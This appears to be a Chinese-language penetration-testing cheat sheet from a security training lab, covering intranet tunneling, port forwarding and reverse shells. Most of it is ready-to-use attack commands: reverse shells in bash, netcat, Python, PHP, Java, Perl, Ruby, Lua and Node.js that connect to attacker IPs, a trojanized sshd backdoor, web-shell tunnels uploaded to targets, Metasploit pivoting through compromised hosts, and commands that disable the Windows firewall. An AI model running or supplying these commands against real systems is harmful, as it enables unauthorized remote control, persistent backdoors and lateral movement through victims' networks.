出品|MS08067實驗室(www.ms08067.com)
本文作者:掉到魚缸里的貓(Ms08067內網安全小組成員)
NetCat
方法一:
靶機:
mkfifo /tmp/fifo
cat /tmp/fifo| nc 想要轉發的目標 想要轉發到的端口 | nc -lp 監聽端口> /tmp/fif
攻擊機:nc -nv 靶機IP 靶機監聽端口
反向Shell:
靶機:
方法一:nc -t -e cmd.exe 攻擊機IP 攻擊機監聽端口
方法二:cat /tmp/fifo | /bin/bash -i 2>&1 | nc 目標IP 端口 > /tmp/fifo
方法三:nc -e /bin/sh 10.0.3.4 4444 (后期的nc就沒有-e的選項了)
攻擊機(公網):nc -lvp 監聽端口
不能轉發3389
正向shell
靶機:
$ mkfifo /tmp/fifo
$ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 本地端口 > /tmp/fifo 12
攻擊機:nc 目標IP 端口
lcx
服務端:lcx -slave 公網IP 公網端口 本地IP 本地端口
公網客戶端:lcx -listen 遠程端口 本地端口
客戶端連接本地端口,對應於連接遠程端口
先啟動listen,再啟動slave
reGeorg
服務端:上傳腳本到Web目錄,服務器要求打開 enable_dl 功能
同時安裝 php_sockets擴展客戶端:
reGeorgSocksProxy.py -p 本地端口 -u http://目標服務器上的腳本
使用Proxifier將需要的流量引入本地端口sock5模式
有腳本可以指定不使用sock5協議
Tunna
靶機:上傳腳本到Web目錄,PHP就不要用了,及其不穩定
攻擊機:proxy.py -u http://腳本地址 -l 本地端口 -r 目標端口(服務器) -v
使用Proxifier將需要的流量引入本地端口sock5模式
使用 -n 參數關閉sock協議
這個False問題不大
不能用linux的rdesktop連接,要用Windows的遠程桌面連接
這種情況問題也不大
點擊是之前再運行一次腳本就行
reDuh
服務端:上傳腳本到Web目錄
客戶端:java -jar reDuhClient.jar http://腳本位置 進行連接
本地連接java返回的本地端口 nc -vv localhost 本地端口
在命令提示符中輸入 [createTunnel]本地空閑端口:目標地址(想要訪問的目標內網地址):目標端口
htran
服務器(目標主機):htran -slave 跳板IP 跳板port 本地ip 本地端口
跳板機:htran -tran 跳板port 公網IP 公網端口
客戶端(公網主機):htran -listen 公網監聽端口 流量接收端口
socat
靶機:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:公網IP:公網端口
攻擊機:socat TCP-LISTEN:端口 - ,nc監聽也行
SSH
穿透兩個網絡
公網跳板A:跳板A在B和C的兩個內網中間
打開sshd的Gateway功能:
修改/etc/ssh/sshd_config,將 GatewayPorts 設置為yes
內網1中的B:ssh -p 22 -qngfNTR A
監聽端:localhost:22 A用戶@A地址
內網2中的C:ssh -p A監聽的端口 B用戶@A地址
本地流量轉發
#VPS
ssh -CfNg -L VPS端口:目標主機:目標端口跳板機用戶@跳板機IP
#攻擊端流量到VPS端口,被轉發
為什么說是“本地”(單純的-L選項):
本地端口轉發綁定的是 lookback 接口,這意味着只有localhost 或者 127.0.0.1 才能使用本機的端口轉發 , 其他機器發起的連接只會得到“ connection refused. ”
但是可以利用GatewayPorts(-g)關鍵字來與其他機器共享這個本地轉發端口。
遠程轉發
#跳板主機
ssh -CfNg -R VPS端口:目標主機:目標端口VPS用戶@VPS的IP
#攻擊端流量到VPS端口,被轉發
動態轉發
ssh -CfNg -D 本地代理端口 VPS用戶@VPSIP
#流量轉發到VPS
兩層ssh
#Server2
ssh -CfNg -D 8882 User_Server3@Server3
#Server1
ssh -CfNg -L 8080:Server2:8882User_Server2@Server2
客戶端socks5代理Server1:8080
NPS
Earthworm(EW)
EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。
iox
- 具有流量加密
- 友好的命令行參數
- 邏輯優化
- UDP流量轉發
- https://github.com/EddieIvan01/iox
ngrok
各種系統都支持,支持內網穿透
利用IIS端口共享功能
……說實話,沒來得及嘗試,單看文檔沒看懂
利用IIS的端口共享功能繞過防火牆
反彈shell
NC/Telent
telnet 可以換成 nc
方法一:
``
攻擊機nc監聽:nc -lp 空閑端口
服務端(靶機):mknod a p;telnet 攻擊機IP 攻擊機端口 0<a | /bin/bash 1>a
成功后沒有提示,嘗試命令即可
mknod命令中,a表示這個管道的名,p表示這個管道為FIFO(先進先出)和mkfifo一樣,就是后面mkfifo/tmp/backpipe1這種
**方法二:**
攻擊機:nc-lp 6666,nc-lp 5555,在監聽的6666的nc上輸入命令,在5555的nc上看返回的消息
靶機:telnet 攻擊機 IP 6666| /bin/bash | telnet 攻擊機 IP 5555
**方法三:**
靶機執行:netcat -lvp 5555 -e /bin/sh
攻擊機執行:nc 靶機IP 靶機端口
**方法四:**
攻擊機執行:nc-lvvp 5555
靶機執行:nc 攻擊機IP 端口 -t -e /bin/bash
**方法五:**
mkfifo /tmp/backpipe1 | /bin/sh0</tmp/backpipe1 | nc回連地址6666 1 > /tmp/backpipe1
並不是所有的NC都有-e選項……有些設備可能/bin下面沒有nc,但是busybox可以啊
##bash 反彈shell
服務端:bash -i >& /dev/tcp/公網IP/公網端口 0>&1
客戶端:nc -lvvp 端口
加密流量參看權限維持筆記
##利用awk、gawk
1. 攻擊機執行監聽
2. 靶機執行
awk
'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
##Python 反彈shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("公網IP",目標端口));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
命令行直接執行 python -c '代碼'
eval(import('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.55 23333 >/tmp/f'))
##php反彈shell
$sock=fsockopen("公網IP",端口);
exec("/bin/sh -i <&3 >&3 2>&3");
命令行執行 php -r '代碼'
##java反彈shell
public class Revs {
/**
- @param args
- @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec
5<>/dev/tcp/192.168.3.251/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd); p.waitFor(); } }
public class Test {
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r=Runtime.getRuntime();
Process p=r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.3.251/8888 0>&1"});
p.waitFor();
}
}
##Perl反彈Shell
use Socket;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in(端口,inet_aton("公網IP"))))
{
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};
命令行執行 perl -e ‘代碼’
perl -MIO -e '$p=fork;
exit,if($p);
$c=new
IO::Socket::INET(PeerAddr,"1.1.1.1:8080");
STDIN->fdopen($c,r);
$~->fdopen($c,w);system$_ while<>;'
##Lua
lua -e
"require('socket');require('os');t=socket.tcp();t:connect('192.168.3.251','80 80');os.execute('/bin/sh -i <&3 >&3 2>&3');"
##Ruby
ruby -rsocket -e 'exit if
fork;c=TCPSocket.new("192.168.3.251","8080");while(cmd=c.gets);IO.popen(cmd," r"){|io|c.print io.read}end'
##Node.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
##利用sshd反彈shell
**方法一:**
- 靶機執行:ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;
- 攻擊機執行:ssh root@目標 -p 設置的端口 需要密碼
**方法二:**
1. 靶機執行:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
2. 攻擊機執行:
socat STDIO TCP4:192.168.1.129:22,sourceport=13377
##MSF 反彈shell 一句話
msfvenom -l payloads | grep "cmd/unix"|awk '{print $1}'

##xterm下反彈
* 靶機運行 xterm -display 目標地址:1
* 接收方運行 xnest :1

##Metasploit穿透雙層網絡

攻擊機通過兩層跳板,對192.168.12.0/24網絡進行掃描
1. 攻擊機獲得雙網卡主機A的meterpreter會話
2. 執行命令,創建路由規則,只要會話不斷開Metasploit框架就可以訪問192.168.11.0/24網段
meterpreter> run autoroute -s 192.168.11.0/24
3. 配置流量轉發代理
meterpreter> background
msf> use auxiliary/server/socks4a
msf auxiliary(socks4a)> set srvhost 本機地址
msf auxiliary(socks4a)> set srvport 想要監聽的端口
msf auxiliary(socks4a)> run
4. 在proxychains配置文件中添加sock4代理規則,即可通過proxychains實現流量轉發
5. 實現端口轉發
meterpreter> portfwd add -L 本地地址 -l 本地空閑端口 -p 目標端口 -r 目標地址
6.獲取雙網卡主機B的控制權(使用bindTCP的payload,因為反向shell無法路由到攻擊機),獲取到meterpreter會話之后添加路由規則
meterpreter> run autoroute -s 192.168.12.0/24
7. 再次配置流量轉發代理(再開個新端口)
msf auxiliary(socks4a) > set SRVPORT 空閑端口
8. 修改proxychains配置文件,取消下文的注釋,添加新的socks4代理
dynamic_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
#利用系統自帶功能
##Windows 雙網卡路由
雙網卡Windows主機作為路由:
1.通過注冊表允許網卡進行流量轉發: 修改以下注冊表項目為1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip \Parameters 中的 IPEnableRouter
2. 開啟 Routing and Remote Access 服務
3. 兩側主機添加靜態路由規則,路由指向雙網卡主機
##Windows netsh命令端口轉發
管理員權限cmd執行
netsh interface portproxy add v4tov4 listenaddress=本地iP listenport=本地端口 connectaddress=轉發目標 connectport=轉發端口 ( add 換成 delete 就是刪除啦~)
不成功的話,先關閉防火牆
netsh firewall set opmode disable 或 netsh advfirewall set allprofiles state off
查看端口映射配置:
netsh interface portproxy show all
1.為e:\f.exe 添加防火牆規則,需要管理員權限。
netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow
刪除
netsh advfirewall firewall delete rule name="f.exe"
2、添加端口
netsh advfirewall firewall add rule name="HTTP" protocol=TCP dir=in localport=8080 action=allow
刪除
netsh advfirewall firewall delete rule name="HTTP" protocol=TCP dir=in localport=8080
##iptables

* PREROUTING:在進行路由判斷之前所要進行的規則(DNAT/REDIRECT)(數據包進入主機后第一步),決定目標地址的改變與否 + 上下路的判定(是過濾型防火牆還是NAT防火牆)。
* INPUT:處理入站的數據包
* OUTPUT:處理出站的數據包
* FORWARD:是否允許被防火牆繼續轉發 + 是否允許使用Linux的路由/轉發功能。
* POSTROUTING:對數據包在經過路由表之后,最后一個處理步驟(數據包流出主機前最后的步驟),決定數據包是否需要改變源地址。
兩條鏈重要功能在於修改IP,而這兩條鏈修改的IP又是不一樣的,POSTROUTING在修改來源IP,PREROUTING則在修改目標IP 。
由於修改的 IP 不一樣,所以就稱為來源NAT (Source NAT, SNAT) 及目標 NAT (Destination NAT, DNAT)。
只用POSTROUTING:從請求側來看的話,只修改源IP

iptables –t nat –A POSTROUTING –s 192.168.10.10 –o eth1 –j SNAT --to-source 111.196.221.212
兩個結合起來就可以當做端口轉發了:
iptables -t nat -A PREROUTING -p tcp --dport 本機監聽端口 -j DNAT --to- destination 目標IP:端口
iptables -t nat -A POSTROUTING -d 目標主機 -j SNAT --to-source 本機IP
##參考
常見端口轉發工具的使用方式
淺談內網端口轉發
Linux iptables用法與NAT
 
 
 
**<font color=red>轉載請聯系作者並注明出處!</font>**
Ms08067安全實驗室專注於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力於做一個實用的干貨分享型公眾號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!
<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171059867-27992252.jpg" width=30% height=30%> <img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171108710-1006825273.jpg" width=30% height=30%> <img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171113475-91288513.jpg" width=30% height=30%>
<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171130928-1756064793.jpg" width=30% height=30%> <img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171138875-1861126870.jpg" width=30% height=30%> <img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171146080-229256920.jpg" width=30% height=30%>